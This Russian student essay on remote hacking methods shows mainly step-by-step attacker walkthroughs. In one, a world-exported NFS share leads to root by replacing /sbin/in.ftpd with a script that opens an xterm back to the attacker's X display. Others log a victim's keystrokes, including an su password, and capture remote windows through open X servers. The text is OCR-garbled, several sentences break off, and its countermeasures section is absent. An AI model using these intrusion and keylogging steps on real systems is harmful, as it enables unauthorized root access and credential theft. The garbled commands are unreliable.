Автор: Пользователь скрыл имя, 11 Ноября 2011 в 23:07, реферат
То, что информация имеет ценность, люди осознали очень давно – не даром переписка сильных мира сего издавна была объектом пристального внимания их недругов и друзей. Информация приобрела самостоятельную коммерческую ценность и стала широко распространенным, почти обычным товаром. Ее производят, хранят, транспортируют, продают и покупают, а значит – воруют и подделывают – и, следовательно, ее необходимо защищать. Современное общество все в большей степени становится информационно–обусловленным, успех любого вида деятельности все сильней зависит от обладания определенными сведениями и от отсутствия их у конкурентов.
Введение3
I. Часто используемые методы удаленного взлома 4
TFTP4
FTP5
Sendmail7
Службы удаленного вызова процедур RPC9
NFS12
Проблема защиты систем X19
Атаки на систему  DNS21
II. Контрмеры от часто используемых методов удаленного взлома24
Заключение28
Список литературы29
[tsunami]# rpcinfo -p quake 
program vers proto port 
100000 4 tcp 111 rpcbind 
100000 3 tcp 111 rpcbind 
100000 2 tcp 111 rpcbind 
100000 4 udp 111 rpcbind 
100000 3 udp 111 rpcbind 
100000 2 udp 111 rpcbind 
100235 1 tcp 32771 
100068 2 udp 32772 
100068 3 udp 32772 
100068 4 udp 32772 
100068 5 udp 32772 
100024 1 udp 32773 status 
100024 1 tcp 32773 status 
100083 1 tcp 32772 
100021 1 udp 4045 nlockmgr 
100021 2 udp 4045 nlockmgr 
100021 3 udp 4045 nlockmgr 
100021 4 udp 4045 nlockmgr 
100021 1 tcp 4045 nlockmgr 
100021 2 tcp 4045 nlockmgr 
100021 3 tcp 4045 nlockmgr 
100021 4 tcp 4045 nlockmgr 
300598 1 udp 32780 
300598 1 tcp 32775 
805306368 1 udp 32780 
805306368 1 tcp 32775 
100249 1 udp 32781 
100249 1 tcp 32776 
1342177279 4 tcp 32777 
1342177279 1 tcp 32777 
1342177279 3 tcp 32777 
1342177279 2 tcp 32777 
100005 1 udp 32845 mountd 
100005 2 udp 32845 mountd 
100005 3 udp 32845 mountd 
100005 1 tcp 32811 mountd 
100005 2 tcp 32811 mountd 
100005 3 tcp 32811 mountd 
100003 2 udp 2049 nfs 
100003 3 udp 2049 nfs 
100227 2 udp 2049 nfs_acl 
1C0227 3 udp 2049 nfs_acl 
100003 2 tcp 2049 nfs 
100003 3 tcp 2049 nfs 
100227 2 tcp 2049 nfs_acl 
100227 3 tcp 2049 nfs_acl
Обратившись к службе преобразования портов, на основе полученных результатов можно сделать вывод о том, что на удаленной системе запушены серверы NFS и mountd. Это означает, что данная система может экспортировать как минимум одну файловую систему.
[tsunami]# showmount -е quake 
Export list for quake: 
/ (everyone! 
/usr (everyone)
Из результатов, 
полученных с помощью команды showmount, 
видно, что в рассматриваемом 
примере экспортируемыми 
[tsunami n£s]# nfs 
nfs> help 
host <host> - установка имени удаленного 
узла 
uid [<uid> <secret-key>]] - установка идентификатора 
удаленного 
пользователя 
gid [<gid>] - установка идентификатора 
удаленной группы 
cd [<path>j - изменение рабочего каталога 
на удаленном узле 
led [<path>] - изменение рабочего каталога 
на локальном узле 
cat <filespec> - вывод на экран заданного 
файла 
Is -I <filespec> - просмотр содержимого удаленного 
каталога 
get <fiiespec> - получение удаленного файла 
df - информация о файловой системе 
rm <file> - удаление файла на удаленном 
узле 
in <filel> <f.ile2> - создание ссылки на 
файл 
rnv <filel> <file2> - перемещение файла 
mkdir <dir> - создание каталога на удаленном 
узле 
rmdir <dir> - удаление каталога на удаленном 
узле 
chmod <mode> <file> - изменение атрибутов 
файла 
chown <uid>[.<gid>] <file> - изменение владельца 
put. <Iccal-file> [<remote-file>] - отправка локального 
файла 
mount [-upTU] [-P port] <path> - монтирование файловой 
системы 
umount - демонтирование удаленной файловой 
системы 
umountall - демонтирование всех удаленных 
файловых систем 
export - просмотр списка всех экспортируемых 
файловых систем 
dump - просмотр всех смонтированных удаленных 
файловых систем 
status - вывод отчета о состоянии 
help - вывод данной информации 
quit - название говорит само за себя 
bye - good bye handle [<handle>] - просмотр/установка 
дескриптора файла каталога 
mknod <name> [b/c major minor] [p] - создание устройства
Сначала нужно сообщить утилите nfs, файловую систему какого узла необходимо смонтировать.
nfs> host quake 
Using a privileged port (1022) 
Open quake (192.168.1.10) TCP
Затем посмотрим, какие файловые системы можно экспортировать.
nfs> export 
Export list for quake: 
/ everyone 
/usr everyone
Теперь, чтобы получить доступ к файловой системе, необходимо ее смонтировать.
nfs> mount / 
Using a privileged port (1021) 
Mount '/', TCP, transfer size 8192 bytes
Проверим состояние соединения и определим идентификатор UID, с которым была смонтирована файловая система.
nfs> status 
User id : -2  
Group id :-2  
Remote host :'quake' 
Mount path :' / ' 
Transfer size : 8192
Итак, мы 
смонтировали файловую систему / с идентификаторами 
UID и GID, равными -2. Из соображений безопасности, 
если вы монтируете удаленную систему 
как суперпользователь root, ваши идентификаторы 
UID и GID подменяются другими 
nfs> cd /etc 
nfs> cat passwd 
root:x:0:1:Super-User:/:/sbin/
daemon:x:1:1::/: 
bin:x:2:2::/usr/bin: 
sys:x:3:3::/: 
adm:x:4:4:Admin:/var/adm: 
Ip:x:71:8:Line Printer Admin:/usr/spool/lp: 
smtp:x:0:0:Mail Daemon User:/: 
uucp:x:5:5:uucp Admin:/usr/lib/uucp: 
nuucp:x:9:9:uucp  
Admin:/var/spool/uucppublic:/
listen:x:37:4:Network Admin:/usr/net/nls: 
nobody:x:60001:60001:Nobody: /: 
noaccess:x:60002:60002:No Access User:/: 
nobody4:x:65534:65534:SunOS 4.x Nobody:/: 
gk:x:1001:10::/export/home/gk:
sm:x:lC03:10::/export/home/sm:
Итак, теперь 
нам известны имена пользователей 
и соответствующие им идентификаторы. 
Однако файл паролей является скрытым 
(shadowed), поэтому им нельзя воспользоваться 
для взлома паролей. Поскольку мы 
не можем взломать ни одного пароля 
и, соответственно, не можем смонтировать 
файловую систему в качестве суперпользователя, 
необходимо определить другие идентификаторы 
пользователей, которые позволяют 
получить привилегированный доступ. 
Таким пользователем может 
nfs> mount /usr 
Using a privileged port(1022) 
Mount '/usr', TCP, transfer size 8192 bytes. 
nfs> uid 2 
nfs> gid 2  
nfs> status  
User id : 2  
Group id : 2  
Remote host: 'quake' 
Mount path : '/usr' 
Transfer size : 8192
Теперь мы обладаем всеми привилегиями, которыми обладает пользователь bin на удаленной системе. В нашем примере файловая система не была экспортирована с какими-то специальными параметрами, которые ограничивали бы возможности пользователя bin по созданию или модификации файлов. Поэтому все, что осталось сделать, — это запустить программу xterm или создать обратный канал к нашей системе, который позволит получить доступ к взламываемой системе. Создадим на нашей системе следующий сценарий и сохраним его в файле in. f tpd.
tt!/bin/sh 
/usr/openwin/bin/xterm -display 10.10.10.10:0.0 &
Теперь нужно перейти в каталог /sbin удаленной системы и заменить исходный файл in. ftpd нашей версией.
nfs> cd /sbin 
nfs> put in.ftpd
И наконец, необходимо указать, чтобы удаленный сервер подключился к Х-серверу нашего узла с помощью команды xhost. Для этого нужно ввести следующие команды.
[tsunami]# xhost +quake 
quake being added to access control list 
[tsunami]# ftp quake 
Connected to quake.
В результате выполнения всех этих действий наша система станет X-терминалом удаленного узла с привилегиями root. Ввиду того что в этой системе файл in. ftpd вызывается из файла inetd с привилегиями суперпользователя, наш сценарий также будет выполнен с этими привилегиями, что означает получение доступа в качестве суперпользователя.
# id 
uid=0{root)gid=0(root) 
#
 
6. Проблемы защиты системы X
Система X Window предоставляет богатый набор функций, позволяющий многим программам одновременно использовать один и тот же графический дисплей. Но с точки зрения безопасности самой большой проблемой системы X Windows является реализованная в ней модель защиты, которую коротко можно охарактеризовать так: "Все или ничего". После того как клиент получил доступ к Х-серверу, ему выдается полная индульгенция. Клиенты X могут перехватывать нажатия клавиш на пользовательской консоли, закрывать окна, захватывать любые окна сервера и отображать их содержимое где угодно, и даже переключать клавиатуру на свою, независимо от того, какие клавиши нажимает пользователь. Многие проблемы основываются на слабой парадигме управления доступом или полном равнодушии системного администратора. Самой простой и популярной формой управления доступом к X является аутентификация с использованием команды xhost. Данный механизм обеспечивает управление доступом на основе IP-адреса и является при этом наиболее слабой формой аутентификации. Для удобства работы системный администратор может ввести команду xhost +, что позволит получить доступ к Х-серверу без какой-либо аутентификации любому локальному или удаленному пользователю (при использовании параметра + доступ к серверу разрешен для всех узлов). Что еще хуже, многие Х-серверы, работающие на платформе PC, по умолчанию настроены именно на использование команды xhost +, подвергая тем самым огромной опасности ничего не подозревающих пользователей. Этим, казалось бы незначительным, недостатком могут воспользоваться злоумышленники.
Одной из лучших программ, предназначенной для идентификации Х-серверов, у которых включен режим xhost +, является утилита xscan. С ее помощью можно выполнить сканирование всей подсети, найти в ней открытые Х-серверы и записать все нажатия клавиш в файл журнала.
[tsunami]$ xscan quake 
Scanning hostname quake ... 
Connecting to quake (192.168.1.10) on port 6000... 
Connected. 
Host quake is running X. 
Starting keyboard logging of host quake:0.0 to file KEYLOGquake:0.0...
Теперь все клавиши, нажимаемые на клавиатуре удаленного компьютера, будут регистрироваться в файле KEYLOG.quake.
[tsunami]$ tail -f KEYLOG.quake:0.0 
su - 
[Shift_L]Iamowned[Shift_R]!
Затем 
достаточно воспользоваться командой 
tail, чтобы увидеть, что набирает на 
клавиатуре пользователь в режиме реального 
времени. В нашем примере пользователь 
ввел команду su, а затем, в ответ 
на приглашение, — пароль lamowned! (утилита 
xscan умеет даже определять нажатие 
клавиш <Shift>).  
Также просто определить, какие окна открыты 
на взломанной системе. Для этого взломщик 
сначала должен установить шестнадцатеричное 
значение идентификатора окна с помощью 
команды xlwins. 
[tsunami]! xlswins -display 
quake:0.0 Igrep -i netscape 
0x1000001 (Netscape) 
0x1000246 (Netscape) 
0x1000561 (Netscape: OpenBSD)
Программа xlswins отображает много информации, поэтому в нашем примере мы используем утилиту grep, чтобы установить, запушен ли броузер Netscape. К счастью, нам повезло — броузер Netscape действительно запущен на удаленном компьютере. Однако ничего не мешает просмотреть все выдаваемые утилитой xlswins результаты и найти интересующие вас окна, не полагаясь на удачу. Теперь, для того чтобы увидеть окно Netscape на своем компьютере, мы воспользуемся программой XWatchWin.
[tsunami]# xwatchwin quake -w 0x1000561
Указывая 
идентификаторы окон, можно просматривать 
их содержимое на своем компьютере, 
незаметно наблюдая за всеми действиями, 
которые выполняет 
[quake]$ xwd -root -display localhost:0.0 > dump.xwd
Теперь, чтобы увидеть копию экрана, просто скопируйте файл на свой компьютер, воспользовавшись утилитой xwud.
[tsunami]# xwud -in dump.xwd
На этом перечень возможностей взломщика далеко не исчерпан. Он может, например, просто связать эмулятор клавиатуры KeySym с требуемым окном. После этого нажатия клавиш на клавиатуре злоумышленника будут отправляться программе xterm удаленной системы и обрабатываться так, как если бы они вводились на локальной клавиатуре этой системы.
С помощью утилиты XWatchWin можно удаленно просмотреть окно практически любого приложения рабочего стола